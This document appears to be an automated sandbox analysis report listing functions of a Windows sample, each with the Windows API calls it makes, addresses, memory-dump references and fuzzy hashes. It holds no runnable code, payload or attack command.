Instruction Fuzzy Hash: 1FF01C36100205FFCF214F94EC04E9A7FB9FF48391B048429FA45C6530D732D821AB44

Function 00493C26 Relevance: 3.0, APIs: 2, Instructions: 25threadCOMMON

Download Yara Rule

APIs

Part of subcall function 0049B84D: TlsGetValue.KERNEL32(004FCF74,?,00000000,0049B2D4,0049ABD3,0049B2F0,00496AC5,00497D61,?,00000000,?,0048F893,00000000,00000000,00000000,00000000), ref: 0049B88C

GetCurrentThreadId.KERNEL32 ref: 00493C48
SetWindowsHookExA.USER32(00000005,00493A30,00000000,00000000), ref: 00493C58

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CurrentHookThreadValueWindows
String ID:
API String ID: 933525246-0
Opcode ID: 72e4db6ac0e3ce68b1c767d5c80b7f912451da92f11cb05da8f89ff28d8c017b
Instruction ID: c0769b3fb28b1668fe4507cf4966d30139309c4ef3d6b3548e489605bd3dd816
Opcode Fuzzy Hash: 72e4db6ac0e3ce68b1c767d5c80b7f912451da92f11cb05da8f89ff28d8c017b
Instruction Fuzzy Hash: DEE0ED72A00B009FCB30EF669808B177EA4DB86B16F00453FF20691580C338A8008BAE

Function 00494123 Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

GetWindowTextLengthA.USER32(?), ref: 00494130
GetWindowTextA.USER32(?,00000000,00000000), ref: 00494148

Part of subcall function 004921AF: lstrlenA.KERNEL32(?,00000100,0049762E,000000FF,004BBE84,00000000,000000FF,00000100,004BBE84,004BBE84,?,00000100,00000000,0041AEA0), ref: 004921C2

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: TextWindow$Lengthlstrlen
String ID:
API String ID: 288803333-0
Opcode ID: 5b67048a0e279a70298e48dc484cc476e2f70e760e6cd71b5826af82c626bdf6
Instruction ID: 4e16b523be89e99fd3026de554c4390b8172002614d6edfba6c00d7340f9914a
Opcode Fuzzy Hash: 5b67048a0e279a70298e48dc484cc476e2f70e760e6cd71b5826af82c626bdf6
Instruction Fuzzy Hash: 1BE0A931008200BFCB189F10DC48CAA7FA5AF88310B008A3EB167825B0CA30A882CB08

Function 0049264D Relevance: 3.0, APIs: 2, Instructions: 16COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,00424FA9), ref: 00492657
GetLastError.KERNEL32(00000000,?,00424FA9), ref: 00492666

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 77676a012c4a6e8dfe19277295a2fead70d02f33848b92c524112ed0fa8d8e72
Instruction ID: f37d8a10d6c7d8f4a18055a39f6ec2cbc9385073a083e47ee3e6060bc1367513
Opcode Fuzzy Hash: 77676a012c4a6e8dfe19277295a2fead70d02f33848b92c524112ed0fa8d8e72
Instruction Fuzzy Hash: 56D0A9366422203BD9202374BC0FFC66D048B82BB5F1082B2FA24FA2E0C2A18C008388

Function 00492697 Relevance: 2.5, APIs: 2, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000001,?,?,004923EE,?,?,0040A267,?,00000020,00000000), ref: 004926A6
GetLastError.KERNEL32(00000000,004923EE,?,?,0040A267,?,00000020,00000000), ref: 004926CB

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: f85545ab67463bae8ad53967055ff6bb02b814a4aee71e9174e7b04867238e3e
Instruction ID: 91e243ce358e81cf1d8b439febbe0549068f7901a60d58fd5fee8a1992b7aaf6
Opcode Fuzzy Hash: f85545ab67463bae8ad53967055ff6bb02b814a4aee71e9174e7b04867238e3e
Instruction Fuzzy Hash: 91E092361007005BCB24563ADD09B667A999FC1731F10872EE57AC76E0CFB498058618

Function 004820E5 Relevance: 1.6, APIs: 1, Instructions: 80memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,-0000000F,00000000,?,00000000,00000000,00000000), ref: 004821CC

Part of subcall function 00488384: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,00482FFC,00000009,00000000,00000000,00000001,00485B0B,00000001,00000074,?,?,00000000,00000001), ref: 004883C1
Part of subcall function 00488384: EnterCriticalSection.KERNEL32(?,?,?,00482FFC,00000009,00000000,00000000,00000001,00485B0B,00000001,00000074,?,?,00000000,00000001), ref: 004883DC

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CriticalSection$AllocateEnterHeapInitialize
String ID:
API String ID: 1616793339-0
Opcode ID: 80697073a7283bd082bba45da59008e2729e0d433270a6c29c4dac03a002c220
Instruction ID: f0871ce311b60035c9d9297b8c23d39ef7d63591faab9a808e64a5418995e36d
Opcode Fuzzy Hash: 80697073a7283bd082bba45da59008e2729e0d433270a6c29c4dac03a002c220
Instruction Fuzzy Hash: 8F21E532A00605ABDB10FF65DD46B9E77B4EB00B24F244A1BF910EB2C1D7BC9941975D

Function 0049358D Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00493592

Part of subcall function 0049B84D: TlsGetValue.KERNEL32(004FCF74,?,00000000,0049B2D4,0049ABD3,0049B2F0,00496AC5,00497D61,?,00000000,?,0048F893,00000000,00000000,00000000,00000000), ref: 0049B88C

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: H_prologValue
String ID:
API String ID: 3700342317-0
Opcode ID: 084b284fdbed7408362b2a9755f18797c4fff15e00649c740999b3db83dfcded
Instruction ID: 17ed09b0ecd4da8080fe6d4f20007b1a007105b76f564cb9f3351e83c17288ee
Opcode Fuzzy Hash: 084b284fdbed7408362b2a9755f18797c4fff15e00649c740999b3db83dfcded
Instruction Fuzzy Hash: B0217A72900209EFCF01DF54C581AEE7BB9FF49315F01406AF915AB241C778AE40CBA4

Function 00493CB4 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000000,00000080,004410B1,?,?,?,?,?,?,?,?,?), ref: 00493D52

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: fcc011e2f8a630ce19ca473bf5abea9716edbd3b15ecc4594cb678a739907b31
Instruction ID: a07cc989f590242ff5db835f616361c430b24429165b40f64ed835b1b37ef1e5
Opcode Fuzzy Hash: fcc011e2f8a630ce19ca473bf5abea9716edbd3b15ecc4594cb678a739907b31
Instruction Fuzzy Hash: E9319A79A00219AFCF01DFA8C944ADEBBF1BF4C304F11856AF919E7210E7359A519FA4

Function 004206C0 Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 00498883: __EH_prolog.LIBCMT ref: 00498888
Part of subcall function 00498883: BeginPaint.USER32(?,?,?,?,0040D869), ref: 004988B1

Part of subcall function 00498434: GetClipBox.GDI32(?,?), ref: 0049843B

IsRectEmpty.USER32(?), ref: 00420700

Part of subcall function 00420220: CreateRectRgn.GDI32(?,?,?,?), ref: 0042026E
Part of subcall function 00420220: GetClientRect.USER32(?,?), ref: 00420309

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Rect$BeginClientClipCreateEmptyH_prologPaint
String ID:
API String ID: 4024812366-0
Opcode ID: 47cd56d74fbdbe7a0fe1fdeb691bc4de34e2295d3759247a9799fab1a82c3d5a
Instruction ID: 05a9cd12a4dd5dc6f5a9783faa1fcc86fbc0e8175c11613b5be161aefec64e73
Opcode Fuzzy Hash: 47cd56d74fbdbe7a0fe1fdeb691bc4de34e2295d3759247a9799fab1a82c3d5a
Instruction Fuzzy Hash: 69F0D171104741DBC714EF18D941B9EBBE8FB85B14F800A2EF065832D1DB389908CBA2

Function 004950AE Relevance: 1.5, APIs: 1, Instructions: 33windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,?,?,?), ref: 004950CB

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: a3627fb494c2ca30668bfe6f7c2a2c81441d442d749fecac3fec509163f8501c
Instruction ID: 0e4f83d2460f5d4c96521573c7938db0968c1f8a21571cf3f95cd27eda327353
Opcode Fuzzy Hash: a3627fb494c2ca30668bfe6f7c2a2c81441d442d749fecac3fec509163f8501c
Instruction Fuzzy Hash: 0FF09032500619AFDF229F50DC44BEA7F26AF04314F30843AFD155A160C776DD61DB98

Function 00493804 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fcc67907fe89004e051f81ea497d45a631baf30a710454a521281c26d05023d
Instruction ID: 2474e536fd3faa5da00625ec58ec72d3a21a1f95e7b953ef991076d9ed07978f
Opcode Fuzzy Hash: 2fcc67907fe89004e051f81ea497d45a631baf30a710454a521281c26d05023d
Instruction Fuzzy Hash: 74F01232401119FBCF12AE819C05DDB3F99BF1A762F008436FA4555111C37E9621DBAA

Function 00413210 Relevance: 1.5, APIs: 1, Instructions: 24timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,000003E8,?,00000000), ref: 0041323D

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 1f17648a2d31410e13d786885fcb39c2319beb620d50d38ba334ad04af70664d
Instruction ID: 8f7e7fbc4d00de01cfaeef351597aa51aef7b5601ec4e27fe1e01c08b0bff401
Opcode Fuzzy Hash: 1f17648a2d31410e13d786885fcb39c2319beb620d50d38ba334ad04af70664d
Instruction Fuzzy Hash: 30E01A716047105BEA70EE799844B97A7E8AB28726F008A6BF602C6690C6B5E9448718

Function 0049763C Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

LoadStringA.USER32(?,?,?,?), ref: 00497653

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: b06c5906f9922cf0757db680e69fa6f8ca5a32265b33852181353df7c59b721a
Instruction ID: 0b2cd4d7cbe6770b156036ad64d49da13451fdda363dc6a23483e0c2ebbcdec3
Opcode Fuzzy Hash: b06c5906f9922cf0757db680e69fa6f8ca5a32265b33852181353df7c59b721a
Instruction Fuzzy Hash: ADD0A7760083629BCB01DF64980CD8FBFA4FF55320F080C5EF48043111C324C844D765

Function 0049612F Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,?,0041710C,00000000), ref: 0049613D

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: d929e6768bc02c217552fe4b882b3dcee4958e5748a0ee983f8c25a97ce3f38a
Instruction ID: 29b00b78429a51b93a8608525b7255466705083d4198c675459ab12e77ecc02a
Opcode Fuzzy Hash: d929e6768bc02c217552fe4b882b3dcee4958e5748a0ee983f8c25a97ce3f38a
Instruction Fuzzy Hash: 07D09230604201AFCF458F60CA48A1ABBA2BF95705F218579E44A8B662E736DC52EB45

Function 0047FCCA Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

DrawTextA.USER32(?,?,?,?,?), ref: 0047FCDD

